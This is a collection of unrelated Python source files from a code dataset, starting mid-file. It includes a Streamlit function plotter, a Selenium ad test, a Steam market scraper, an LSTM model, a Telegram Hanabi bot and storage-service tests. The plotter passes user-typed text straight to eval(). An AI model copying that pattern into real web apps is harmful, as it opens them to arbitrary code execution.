100)\n y = function(x)\n trace = go.Scatter(x=x, y=y,\n mode='lines',\n marker=dict(\n color=\"rgb(255, 0, 0)\")\n )\n layout = go.Layout(\n autosize=True,\n xaxis=dict(title=\"x\"),\n yaxis=dict(title=\"y\"),\n margin=dict(l=0, r=0, b=0, t=50)\n )\n fig = go.Figure(data=[trace], layout=layout)\n return fig\n\ndef plot_2d_functions(function, x_range, y_range):\n n = 100\n x = np.linspace(x_range[0], x_range[1], n)\n y = np.linspace(y_range[0], y_range[1], n)\n xx, yy = np.meshgrid(x, y)\n xx = xx.reshape(n**2, 1)\n yy = yy.reshape(n**2, 1)\n h = np.c_[xx, yy]\n zz = np.asarray([function(s[0], s[1]) for s in h])\n xx = xx.reshape(n, n)\n yy = yy.reshape(n, n)\n zz = zz.reshape(n, n)\n trace_surface = go.Surface(x=xx, y=yy, z=zz,\n contours_z=dict(show=True, usecolormap=True,\n highlightcolor=\"limegreen\",\n project_z=True),\n showscale=False\n )\n fig = go.Figure(data=[trace_surface])\n fig.update_layout(autosize=True,\n scene_camera_eye=dict(x=1.4, y=1.4, z=0.7),\n margin=dict(l=0, r=0, b=0, t=20),\n scene=dict(\n xaxis=dict(title=\"x\"),\n yaxis=dict(title=\"y\"),\n zaxis=dict(title=\"z\"),\n ))\n\n return fig\n\ndef main():\n st.title(\"Function Visualizer\")\n func_txt = st.text_input(\"Input a lambda function in Python syntax: \"\n \"(e.g., lambda x,y: np.exp(x) * np.sin(y))\",\n \"lambda x,y: x**2 + y**2 + 1\")\n function = eval(func_txt)\n func_argsspec = inspect.getargspec(function)\n\n # check the number of variables in lambda function\n # 1d\n if len(func_argsspec.args) < 2:\n x_range_txt = st.text_input(\"The range of x:\", \"-5,5\")\n x_range = x_range_txt.split(\",\")\n x_range = np.array(x_range).astype(\"float\")\n x_range.sort()\n # plot the function\n st.plotly_chart(plot_1d_functions(function, x_range), width=700, height=500)\n\n # 2d\n elif len(func_argsspec.args) == 2:\n x_range_txt = st.text_input(\"The range of x:\", \"-5,5\")\n y_range_txt = st.text_input(\"The range of y:\", \"-5,5\")\n x_range = x_range_txt.split(\",\")\n y_range = y_range_txt.split(\",\")\n x_range = np.array(x_range).astype(\"float\")\n y_range = np.array(y_range).astype(\"float\")\n x_range.sort()\n y_range.sort()\n # plot the function\n st.plotly_chart(plot_2d_functions(function, x_range, y_range), width=700, height=600)\n else:\n st.info(\"Please input 1d or 2d\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"func_viz.py","file_name":"func_viz.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"16588838","text":"#!/usr/bin/python3\n#@author: Hunter\n\"\"\"\nCompare KEGG and MW or DEG Rpairs\n\"\"\"\nimport numpy as np\nmw_rpair_dict=np.load(\"rpairs_mw_1.0.npy\").item()\nmw_rpair=set(mw_rpair_dict.keys())\nkegg_rpair=set({})\nwith open(\"../KEGG/kegg_rpair.txt\") as f:\n while True:\n rpair=tuple(f.readline().split())\n if len(rpair)==0:\n break\n kegg_rpair.add(rpair)\n\nmw_rpair=set({})\nwith open(\"../aravind_rpair.txt\") as f:\n while True:\n rpair=tuple(f.readline().split())\n if len(rpair)==0:\n break\n mw_rpair.add(rpair)\n\nTP=mw_and_kegg=kegg_rpair.intersection(mw_rpair)\nFN=not_mw_and_kegg=kegg_rpair-mw_and_kegg\nFP=mw_and_not_kegg=mw_rpair-mw_and_kegg\nprint(\"Total\\t Kegg =\",len(kegg_rpair),\"\\tMW_1.0 =\",len(mw_rpair))\nprint(\"True Positive =\",len(TP))\nprint(\"False Positive =\",len(FP))\nprint(\"False Negative =\",len(FN))\n\"\"\"\nwith open(\"deg_0.6_kegg_analysis.txt\",\"w\") as f:\n f.write(\"DEG0.6_RPAIR\\tKEGG_RPAIR\\tReactions\\n\")\n for i in mw_rpair:\n f.write(i[0]+\",\"+i[1]+\"\\t\")\n if i in kegg_rpair:\n f.write(\"Yes\\t\\t\")\n else:\n f.write(\"No\\t\\t\")\n f.write(\",\".join(mw_rpair_dict[i])+\"\\n\")\n\"\"\"","sub_path":"Data/MW_1.0/rpair_comp.py","file_name":"rpair_comp.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"155384536","text":"#!/usr/bin/env python3\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport os\nimport sys\n\n\ndef plotscalars(csvspath, scalar, param_name, output_file):\n\n scalars = []\n params = []\n for csv in os.listdir(csvspath):\n df = pd.read_csv(csvspath + os.sep + csv)\n\n x = df[scalar].tolist()\n curparam = float(csv.split(\"_\")[-1].replace(\".csv\", \"\"))\n\n scalars.append(np.min(x))\n params.append(curparam)\n\n z = list(zip(params, scalars))\n z.sort(key=lambda x: x[0])\n paramss, scalarss = zip(*z)\n\n plt.xlabel(param_name)\n plt.ylabel(scalar)\n plt.xscale('log')\n plt.gca().invert_xaxis()\n plt.plot(paramss, scalarss, \"bo\", paramss, scalarss, \"b-\")\n plt.savefig(output_file)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 5:\n plotscalars(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])\n else:\n print(\"Usage : scalars.py logs_path scalar param_name output_file\")\n","sub_path":"scripts/plotcsv.py","file_name":"plotcsv.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"93319441","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom browsermobproxy import Server\nfrom urllib.parse import urlparse\nfrom PIL import Image\nimport math\nimport operator\nfrom functools import reduce\nfrom selenium.webdriver.support import expected_conditions as EC\nimport os\n\n\nclass SimpleWidgetTestCase(unittest.TestCase):\n\n def screenshot(self, driver, screen_css, screenshot_name):\n element = driver.find_element_by_css_selector(screen_css)\n location = element.location\n size = element.size\n driver.save_screenshot(screenshot_name)\n im = Image.open(screenshot_name)\n left = location['x']\n top = location['y']\n right = location['x'] + size['width']\n bottom = location['y'] + size['height']\n im = im.crop((left, top, right, bottom))\n return im.save(screenshot_name)\n\n def compare_screenshot(self, screen_name_1, screen_name_2):\n h1 = Image.open(screen_name_1).histogram()\n h2 = Image.open(screen_name_2).histogram()\n rms = math.sqrt(reduce(operator.add,\n map(lambda a, b: (a - b) ** 2, h1, h2))/len(h1))\n return rms == 0.0\n\n def aspect_ratio(self, driver, picture_css):\n image = driver.find_element_by_css_selector(picture_css)\n size = image.size\n asp_rat_numb = size['width'] / size['height']\n return asp_rat_numb\n\n def element_displayed(self, wait, visible_element_by_css):\n visible_elem = wait.until(EC.visibility_of_element_located(\n (By.CSS_SELECTOR, visible_element_by_css)))\n return visible_elem.is_displayed()\n\n def remove_files(self, screen_name_1, screen_name_2):\n os.remove(screen_name_1)\n os.remove(screen_name_2)\n print(\"Files removed from local machine\")\n\n def setUp(self):\n self.DRIVER_GET_URL = \"http://project43.wikia.com/\" \\\n \"wiki/SyntheticTests/VUAP\"\n self.EXAMPLE_URL = \"http://example.com\"\n self.PATH_TO_BROWSER_MOB = r\"c:\\browsermob\\bin\\browsermob-proxy.bat\"\n self.SCREEN_CSS = \"#TOP_LEADERBOARD\"\n self.HAR_SEARCH_TYPE = \"video/mp4\"\n self.IFRAME_CSS_SELECTOR = '#TOP_' \\\n 'LEADERBOARD iframe[title=\"3rd party ad content\"]'\n self.SCREEN_NAME_1 = \"newest_before.png\"\n self.SCREEN_NAME_2 = \"newest_after.png\"\n self.CLOSE_CSS_SELECTOR = \".close-ad\"\n self.SPEAKER_CSS_SELECTOR = \".speaker\"\n self.ASPCT_RATE_CSS = \"#TOP_LEADERBOARD\"\n\n self.server = Server(self.PATH_TO_BROWSER_MOB)\n self.server.start()\n self.proxy = self.server.create_proxy()\n self.proxy.new_har()\n\n chrome_options = webdriver.ChromeOptions()\n url = urlparse(self.proxy.proxy).path\n chrome_options.add_argument('--proxy-server=%s' % url)\n self.driver = webdriver.Chrome(chrome_options=chrome_options)\n self.wait = WebDriverWait(self.driver, 20)\n\n def test_main(self):\n # Start options\n self.driver.get(self.DRIVER_GET_URL) # Make 1st screenshot\n self.screenshot(self.driver, self.SCREEN_CSS, self.SCREEN_NAME_1)\n\n # Calculate aspect ratio of 1st image\n asp_1 = self.aspect_ratio(self.driver, self.ASPCT_RATE_CSS)\n print(\"aspect_ratio_before \", asp_1)\n\n # Cheking 1st har for video element\n result_1 = self.HAR_SEARCH_TYPE in str(self.proxy.har)\n self.assertFalse(result_1)\n print(\"har_1\", result_1)\n\n # Enter iframe and start video\n ifrm = self.driver.find_element_by_css_selector(\n self.IFRAME_CSS_SELECTOR)\n self.driver.switch_to.frame(ifrm)\n self.driver.find_element_by_id('button').click()\n\n # Quit iframe\n self.driver.switch_to_default_content()\n\n # Cheking visibility of the objects\n close_b = self.element_displayed(self.wait, self.CLOSE_CSS_SELECTOR)\n volume_b = self.element_displayed(self.wait, self.SPEAKER_CSS_SELECTOR)\n self.assertTrue(close_b)\n self.assertTrue(volume_b)\n print(\"element_displayed \", close_b)\n print(\"element_displayed \", volume_b)\n\n # Calculate aspect ratio of video screenshot\n asp_video = self.aspect_ratio(self.driver, self.ASPCT_RATE_CSS)\n\n print(\"aspect_ratio_of_video \", asp_video)\n self.assertNotEqual(asp_video, asp_1)\n\n # Wait for 2nd har\n self.wait.until_not(EC.visibility_of_element_located(\n (By.CSS_SELECTOR, self.SPEAKER_CSS_SELECTOR)))\n\n # Cheking 2nd har for video element\n result_2 = self.HAR_SEARCH_TYPE in str(self.proxy.har)\n self.assertTrue(result_2)\n print(\"har_2\", result_2)\n\n # Waiting for 2nd screenshot\n self.wait.until(lambda d: self.aspect_ratio(\n d, self.ASPCT_RATE_CSS) == asp_1)\n\n # Make 2nd screenshot\n self.screenshot(self.driver, self.SCREEN_CSS, self.SCREEN_NAME_2)\n\n # Compare 1st and 2nd screenshots\n scrn_comp = self.compare_screenshot(\n self.SCREEN_NAME_1, self.SCREEN_NAME_2)\n self.assertTrue(scrn_comp)\n print(\"compare_screenshots\", scrn_comp)\n\n self.remove_files(self.SCREEN_NAME_1, self.SCREEN_NAME_2)\n\n def test_change_class_att(self):\n self.driver.get(self.EXAMPLE_URL)\n exmpl = self.driver.find_element_by_tag_name('h1')\n self.assertFalse(exmpl.get_attribute(\"style\"))\n script = \"document.getElementsByTagName\" \\\n \"('h1')[0].style.border = '1px solid red'\"\n self.driver.execute_script(script)\n new_exmpl = self.driver.find_element_by_tag_name('h1')\n new_text = new_exmpl.get_attribute(\"style\")\n print(new_text)\n self.assertEqual(new_text, \"border: 1px solid red;\")\n self.assertTrue(new_exmpl.get_attribute(\"style\"))\n\n def tearDown(self):\n self.server.stop()\n self.driver.quit()\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"check_video_add.py","file_name":"check_video_add.py","file_ext":"py","file_size_in_byte":6135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"229463857","text":"from bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport re\r\nimport requests\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\n\r\ndef lovely_soup(url):\r\n req = requests.get(url).text\r\n data = BeautifulSoup(req,'html5lib')\r\n return data\r\n\r\ndef get_data(link, patterns = [], max_float = 0.001):\r\n data = lovely_soup(\"https://api.csgofloat.com/?url=\" + link)\r\n data = str(data.body)\r\n result = [x.strip() for x in data.split(',')]\r\n item_paintseed = [s for s in result if \"paintseed\" in s][0]\r\n item_paintseed = re.findall(r'\\d+', item_paintseed)\r\n item_paintseed = int(item_paintseed[0])\r\n item_float = [s for s in result if \"floatvalue\" in s][0]\r\n item_float = re.findall(\"[+-]?\\d+\\.\\d+\", item_float)\r\n item_float = float(item_float[0])\r\n #if item_paintseed in patterns or float(item_float) < max_float:\r\n return [link, item_paintseed, item_float]\r\n\r\ndef get_run_id(listingid):\r\n hover_over = driver.find_element_by_id(listingid + '_image')\r\n ActionChains(driver).move_to_element(hover_over).perform()\r\n driver.find_element_by_id(listingid + '_actionmenu_button').click()\r\n popup = driver.find_element_by_id('market_action_popup_itemactions')\r\n return popup.find_element_by_class_name('popup_menu_item').get_attribute('href')\r\n\r\ndef get_listing_ids_on_page():\r\n elements = driver.find_elements_by_xpath(\"//div[starts-with(@class, 'market_listing_row market_recent_listing_row')]\")\r\n listing_ids = []\r\n for i in elements:\r\n listing_ids.append(i.get_attribute('id'))\r\n return listing_ids\r\n\r\ndriver = webdriver.Chrome()\r\ndriver.get('https://steamcommunity.com/market/listings/730/Five-SeveN%20%7C%20Case%20Hardened%20%28Factory%20New%29')\r\nfor number in range(2,12):\r\n for i in get_listing_ids_on_page():\r\n run_ids.append(get_run_id(i))\r\n for i in run_ids:\r\n print(get_data(i))\r\n driver.find_element_by_xpath(\"/html/body/div[1]/div[7]/div[2]/div[2]/div[4]/div[1]/div[3]/div[4]/div[3]/div[1]/span[2]/span[\" + str(number) + \"]\").click()\r\n","sub_path":"CSGO Market Scraper.py","file_name":"CSGO Market Scraper.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"276451570","text":"import torch\nimport torch.nn as nn\n\ndevice = torch.device(\"cpu\")\n\nclass LSTM(nn.Module):\n def __init__(self,seq_length,input_size,hidden_size,num_layers,num_classes):\n super(LSTM,self).__init__()\n self.seq_length=seq_length\n self.hidden_size=hidden_size\n self.input_size=input_size\n self.num_layers=num_layers\n self.lstm=nn.LSTM(input_size,hidden_size,num_layers,batch_first=True)\n self.connected=nn.Linear(hidden_size,num_classes)\n \n def forward(self,x):\n batch_size=x.size(0)\n hidden=self.init_hidden(batch_size)\n x = x.view(batch_size, self.seq_length, self.input_size)\n out,hidden=self.lstm(x)\n out=out.contiguous().view(-1,self.hidden_size)\n out=self.connected(out)\n return out,hidden\n \n def init_hidden(self,batch_size):\n hidden=(torch.zeros(self.num_layers,batch_size,self.hidden_size).to(device),torch.zeros(self.num_layers,batch_size,self.hidden_size).to(device))\n return hidden\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"388878006","text":"class fAddPDP:\n\n def __init__(self,parentForm,FormObj):\n self.form = parentForm\n self.app = parentForm.ClientApplication\n\n def bSimpanClick(self, button):\n app = self.app\n CI = self.CekInput2()\n if CI !='N':\n app.ShowMessage(CI)\n return 0\n \n self.FormObject.CommitBuffer()\n ph = self.FormObject.GetDataPacket()\n try:\n res = self.FormObject.CallServerMethod(\"Simpan\", ph)\n\n status = res.FirstRecord\n if status.Is_Err :\n self.app.ShowMessage('PERHATIAN !! '+status.Err_Message)\n return 0\n except:\n raise\n\n button.ExitAction = 2\n self.FormObject.Close(2)\n\n def GetData(self,ProductId,MustahiqId):\n #raise 'c',MustahiqId\n params = self.app.CreateValues(['ProductId',ProductId],['MustahiqId',MustahiqId])\n self.FormObject.SetDataWithParameters(params)\n st = self.FormContainer.Show()\n if st == 1:\n return 1\n else:\n return None\n \n def CekInput2 (self):\n IsErr = 'N'\n if self.uipart1.Bulan==None:\n IsErr = 'Bulan Update Harus Diisi !!'\n elif self.uipart1.Tahun==None:\n IsErr = 'Tahun Harus Diisi !!'\n\n return IsErr\n\n","sub_path":"dialogs/LKMS/fAddPDP_intr.py","file_name":"fAddPDP_intr.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"267286908","text":"from random import randint\nfrom Colors import *\nfrom Vocable import *\nfrom VerbCollection import *\nfrom helpers import *\n\nclass VocableReader:\n\n def __init__(self):\n print(\"VocableReader created.\")\n self.verbColl = VerbCollection('/home/fred/vok/code/irregular.verb')\n\n\n def Read(self, stringInput):\n\n listA = []\n listB = []\n\n li = stringInput.split('--')\n A = li[0].strip().split(';')\n B = li[1].strip().split(';')\n\n for a in A:\n listA.append(a.strip())\n for b in B:\n listB.append(b.strip())\n vocType = li[2].strip()\n info = [listA, listB, vocType]\n \n if(vocType.startswith('n-')):\n return Noun(info)\n elif ('v' == vocType):\n return Verb(info, self.verbColl.GetConjugation(MakeStringFromList(info[0])))\n else:\n return Vocable(info)\n\n","sub_path":"VocableReader.py","file_name":"VocableReader.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"210992650","text":"from datetime import date\n\nmaior = 0\nmenor = 0\n\nano = date.today().year\n\nfor i in range(0, 7):\n nas = int(input('Digite o ano de nascimento de alguem: '))\n if ano-nas < 21:\n menor += 1\n else:\n maior += 1\n\nprint('Dessas pessoas, {} ja sao maiores e {} ainda nao atingiram a maioridade'.format(maior, menor))\n","sub_path":"CursoemVideo/ex054.py","file_name":"ex054.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"548480648","text":"import time\nimport telepot\nfrom telepot.loop import MessageLoop\nimport sys\nimport hanabi\nimport draw\nfrom telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton\n\n\nclass ChatGame:\n def __init__(self, chat_id, admin):\n self.game = None\n self.admin = admin\n self.player_to_user = {} \n self.current_action = ''\n self.chat_id = chat_id\n\nclass BotServer(object):\n def __init__(self, token):\n self.bot = telepot.Bot(token)\n self.token = token\n self.games = {}\n self.user_to_chat = {}\n\nserver = None\n\n\ndef add_player(server, chat_id, user_id, name):\n if chat_id not in server.games:\n server.bot.sendMessage(chat_id, \"No game created for this chat\")\n return\n\n if user_id in server.user_to_chat.keys():\n # server.bot.sendMessage(chat_id, \"You already joined the game\")\n return\n\n player_to_user = server.games[chat_id].player_to_user\n if len(player_to_user) >= 4:\n server.bot.sendMessage(chat_id, \"Too many players\")\n return\n \n if name in player_to_user:\n name += '_' + str(len(player_to_user))\n \n server.bot.sendMessage(chat_id, name + \" joined\")\n player_to_user[name] = user_id\n server.user_to_chat[user_id] = chat_id\n\n\ndef send_game_views(bot, chat_game, last_player=''):\n for name, user_id in chat_game.player_to_user.items():\n # TODO: Send directly generated image, without write to disk.\n filename = str(user_id) + '.png'\n draw.draw_board_state(chat_game.game, name, filename)\n try:\n with open(filename, 'rb') as image:\n bot.sendPhoto(user_id, image)\n except Exception as ex:\n print(ex)\n\n\n\ndef start_game(server, chat_id, user_id):\n if chat_id not in server.games:\n server.bot.sendMessage(chat_id, \"No game created for this chat\")\n return\n \n if user_id != server.games[chat_id].admin:\n server.bot.sendMessage(chat_id, \"You cannot start this game\")\n\n player_to_user = server.games[chat_id].player_to_user\n if len(server.games[chat_id].player_to_user) < 2:\n server.bot.sendMessage(chat_id, \"Too few players\")\n return\n\n players = []\n for name in player_to_user.keys():\n players.append(name)\n\n server.games[chat_id].game = hanabi.Game(players)\n server.bot.sendMessage(chat_id, \"Game started with players \" + str(players))\n\n # send a view to all the players\n chat_game = server.games[chat_id]\n send_game_views(server.bot, chat_game)\n server.bot.sendMessage(chat_id, \"Game sarted!\")\n return\n\n\ndef send_keyboard(bot, chat_game, keyboard_type, its_your_turn=True):\n player = hanabi.get_active_player_name(chat_game.game)\n user_id = chat_game.player_to_user[player]\n if keyboard_type == \"action\":\n keyboard = [[\n InlineKeyboardButton(text='Discard', callback_data='discard'),\n InlineKeyboardButton(text='Play', callback_data='play'),\n ]]\n if chat_game.game.hints > 0:\n keyboard[0].append(InlineKeyboardButton(text='Hint', callback_data='hint'))\n \n keyboard = InlineKeyboardMarkup(inline_keyboard=keyboard)\n if its_your_turn:\n bot.sendMessage(user_id, player + \", it's your turn\", reply_markup=keyboard)\n \n elif keyboard_type in ['play', 'discard']:\n game = chat_game.game\n active_player = game.players[game.active_player]\n player_hand = chat_game.game.hands[active_player]\n options = []\n for i, card in enumerate(player_hand):\n info = ''\n if card.is_color_known:\n info += card.color + ' '\n if card.is_value_known:\n info += str(card.value) + ' '\n info = info.strip()\n if info == '':\n info = ' '\n options.append(InlineKeyboardButton(text=info, callback_data=str(i+1)))\n\n keyboard = InlineKeyboardMarkup(inline_keyboard=[options])\n bot.sendMessage(user_id, \"Choose card to \" + keyboard_type, reply_markup=keyboard)\n\n elif keyboard_type == \"player\":\n players = chat_game.game.players\n options = []\n for p in players:\n if p != player:\n options.append(InlineKeyboardButton(text=p, callback_data=p))\n keyboard = InlineKeyboardMarkup(inline_keyboard=[options])\n bot.sendMessage(user_id, \"Choose a player to hint\", reply_markup=keyboard)\n\n elif keyboard_type == \"info\":\n # TODO: ugly keyboard on desktop\n colors = []\n values = []\n for c in hanabi.colors:\n colors.append(InlineKeyboardButton(text=c, callback_data=c))\n for i in range(1, 6):\n values.append(InlineKeyboardButton(text=str(i), callback_data=str(i)))\n\n keyboard = InlineKeyboardMarkup(inline_keyboard=[colors, values])\n bot.sendMessage(user_id, \"Choose information to hint\", reply_markup=keyboard) \n\n\ndef restart_turn(bot, chat_game):\n chat_game.current_action = ''\n send_keyboard(server.bot, chat_game, \"action\")\n\n\ndef handle_game_ending(bot, chat_game):\n send_game_views(bot, chat_game)\n chat_id = chat_game.chat_id\n game = chat_game.game\n filename = str(chat_id) + '.png'\n draw.draw_board_state(chat_game.game, '', filename)\n try:\n with open(filename, 'rb') as image:\n bot.sendPhoto(chat_id, image)\n except Exception as ex:\n print(ex)\n\n score = hanabi.get_score(game)\n for name, user_id in chat_game.player_to_user.items():\n bot.sendMessage(user_id, \"The game ended with score \" + str(score))\n \n bot.sendMessage(chat_id, \"The game ended with score \" + str(score))\n bot.sendMessage(chat_id, \"Send /restart to play again\")\n chat_game.game = None\n return\n\n\ndef complete_processed_action(bot, chat_game, last_player):\n # check game ending\n if hanabi.check_state(chat_game.game) != 0:\n handle_game_ending(bot, chat_game)\n return\n\n send_game_views(bot, chat_game)\n chat_game.current_action = ''\n next_player = hanabi.get_active_player_name(chat_game.game)\n send_keyboard(server.bot, chat_game, \"action\")\n\n\ndef handle_keyboard_response(msg):\n query_id, from_id, data = telepot.glance(msg, flavor='callback_query')\n print(msg)\n user_id = int(msg['from']['id'])\n chat_id = int(msg['message']['chat']['id'])\n\n if data == 'join':\n add_player(server, chat_id, user_id, msg['from']['first_name'])\n return\n\n # TODO: refactor this block into a function\n chat = server.user_to_chat.get(user_id, None)\n if not chat: return\n\n chat_game = server.games.get(chat, None)\n if not chat_game: return\n\n game = chat_game.game\n if not game: return\n\n active_player = hanabi.get_active_player_name(game)\n active_user_id = chat_game.player_to_user[active_player]\n if user_id != active_user_id: return\n\n # perform action\n if chat_game.current_action in [\"discard\", \"play\"] or chat_game.current_action.strip().startswith('hint '):\n chat_game.current_action += ' ' + data\n success = hanabi.perform_action(game, active_player, chat_game.current_action)\n\n if success:\n complete_processed_action(server.bot, chat_game, active_player)\n else:\n restart_turn(server.bot, chat_game)\n\n if chat_game.current_action == 'hint':\n chat_game.current_action += ' ' + data\n send_keyboard(server.bot, chat_game, \"info\")\n\n\n if data == 'discard':\n if chat_game.current_action != '': return False\n chat_game.current_action = \"discard\"\n send_keyboard(server.bot, chat_game, \"discard\")\n return True\n\n if data == 'play':\n if chat_game.current_action != '': return False\n chat_game.current_action = \"play\"\n send_keyboard(server.bot, chat_game, \"play\")\n return True\n\n if data == 'hint':\n if chat_game.current_action != '': return False\n chat_game.current_action = \"hint\"\n if len(chat_game.player_to_user) == 2:\n i = 1 - game.active_player\n chat_game.current_action += ' ' + game.players[i]\n send_keyboard(server.bot, chat_game, \"info\")\n else:\n send_keyboard(server.bot, chat_game, \"player\")\n return True\n\n\ndef handle_message(message_object):\n print(message_object, '\\n')\n content_type, chat_type, chat_id = telepot.glance(message_object)\n \n user_id = int(message_object['from']['id'])\n\n if content_type != 'text':\n return\n \n text = message_object['text'].split('@')[0].strip()\n data = message_object.get('callback_data', None)\n if data:\n print('DATA', data)\n\n if text == '/new_game':\n server.games[chat_id] = ChatGame(chat_id, admin=user_id)\n keyboard = [[\n InlineKeyboardButton(text='Join', callback_data='join'),\n ]]\n keyboard = InlineKeyboardMarkup(inline_keyboard=keyboard)\n server.bot.sendMessage(chat_id, \"A new game has been created\", reply_markup=keyboard)\n return\n\n if text == '/end_game':\n del server.games[chat_id]\n server.bot.sendMessage(chat_id, \"The game ended.\")\n return\n\n if text in ['/start', '/restart']:\n start_game(server, chat_id, user_id) \n \n if text == \"/S\":\n server.games[chat_id] = ChatGame(chat_id, admin=user_id)\n server.bot.sendMessage(chat_id, \"A new game has been created.\")\n for name in ['gabriele', 'giacomo', 'fabrizio']:\n add_player(server, chat_id, user_id, name)\n start_game(server, chat_id, user_id) \n\n\n\n # Cancel an action with any text\n chat = server.user_to_chat.get(user_id, None)\n if not chat: return\n\n chat_game = server.games[chat]\n game = chat_game.game\n\n if not game: return\n\n active_player = hanabi.get_active_player_name(chat_game.game)\n active_user_id = chat_game.player_to_user[active_player]\n if user_id == active_user_id:\n restart_turn(server.bot, chat_game)\n else:\n server.bot.sendMessage(chat_id, \"Wait for your turn.\")\n\n\n\n\n\ndef main(token):\n global server\n server = BotServer(token)\n \n print ('*** Telegram bot started ***')\n print (' Now listening...')\n MessageLoop(server.bot, {'chat': handle_message, 'callback_query': handle_keyboard_response}).run_as_thread()\n while 1:\n time.sleep(10)\n\n\nif __name__ == '__main__':\n main(sys.argv[1])\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"628214553","text":"# pylint:disable=unused-variable\n# pylint:disable=unused-argument\n# pylint:disable=redefined-outer-name\n# pylint:disable=too-many-arguments\n# pylint:disable=no-name-in-module\n\nimport json\nimport os\nimport sys\nfrom asyncio import Future\nfrom pathlib import Path\nfrom urllib.parse import quote\n\nimport pytest\nfrom aiohttp import web\n\nfrom simcore_service_storage.db import setup_db\nfrom simcore_service_storage.dsm import APP_DSM_KEY, setup_dsm\nfrom simcore_service_storage.rest import setup_rest\nfrom simcore_service_storage.s3 import setup_s3\nfrom simcore_service_storage.settings import APP_CONFIG_KEY, SIMCORE_S3_ID\nfrom utils import BUCKET_NAME, USER_ID, has_datcore_tokens\nfrom utils_assert import assert_status\nfrom utils_project import clone_project_data\n\ncurrent_dir = Path(sys.argv[0] if __name__ == \"__main__\" else __file__).resolve().parent\n\n\ndef parse_db(dsm_mockup_db):\n id_name_map = {}\n id_file_count = {}\n for d in dsm_mockup_db.keys():\n md = dsm_mockup_db[d]\n if not md.user_id in id_name_map:\n id_name_map[md.user_id] = md.user_name\n id_file_count[md.user_id] = 1\n else:\n id_file_count[md.user_id] = id_file_count[md.user_id] + 1\n\n return id_file_count, id_name_map\n\n\n@pytest.fixture\ndef client(\n loop,\n aiohttp_unused_port,\n aiohttp_client,\n postgres_service,\n minio_service,\n osparc_api_specs_dir,\n):\n app = web.Application()\n\n api_token = os.environ.get(\"BF_API_KEY\", \"none\")\n api_secret = os.environ.get(\"BF_API_SECRET\", \"none\")\n\n main_cfg = {\n \"port\": aiohttp_unused_port(),\n \"host\": \"localhost\",\n \"max_workers\": 4,\n \"testing\": True,\n \"test_datcore\": {\"api_token\": api_token, \"api_secret\": api_secret},\n }\n rest_cfg = {\n \"oas_repo\": str(\n osparc_api_specs_dir\n ), #'${OSPARC_SIMCORE_REPO_ROOTDIR}/api/specs',\n # oas_repo: http://localhost:8043/api/specs\n }\n postgres_cfg = postgres_service\n s3_cfg = minio_service\n\n # fake config\n app[APP_CONFIG_KEY] = {\n \"main\": main_cfg,\n \"postgres\": postgres_cfg,\n \"s3\": s3_cfg,\n \"rest\": rest_cfg,\n }\n\n setup_db(app)\n setup_rest(app)\n setup_dsm(app)\n setup_s3(app)\n\n cli = loop.run_until_complete(aiohttp_client(app, server_kwargs=main_cfg))\n return cli\n\n\nasync def test_health_check(client):\n resp = await client.get(\"/v0/\")\n text = await resp.text()\n\n assert resp.status == 200, text\n\n payload = await resp.json()\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n\n assert data\n assert not error\n\n assert data[\"name\"] == \"simcore_service_storage\"\n assert data[\"status\"] == \"SERVICE_RUNNING\"\n\n\nasync def test_locations(client):\n user_id = USER_ID\n\n resp = await client.get(\"/v0/locations?user_id={}\".format(user_id))\n\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n\n _locs = 2 if has_datcore_tokens() else 1\n assert len(data) == _locs\n assert not error\n\n\nasync def test_s3_files_metadata(client, dsm_mockup_db):\n id_file_count, _id_name_map = parse_db(dsm_mockup_db)\n\n # list files for every user\n for _id in id_file_count:\n resp = await client.get(\"/v0/locations/0/files/metadata?user_id={}\".format(_id))\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert len(data) == id_file_count[_id]\n\n # list files fileterd by uuid\n for d in dsm_mockup_db.keys():\n fmd = dsm_mockup_db[d]\n uuid_filter = os.path.join(fmd.project_id, fmd.node_id)\n resp = await client.get(\n \"/v0/locations/0/files/metadata?user_id={}&uuid_filter={}\".format(\n fmd.user_id, quote(uuid_filter, safe=\"\")\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n for d in data:\n assert 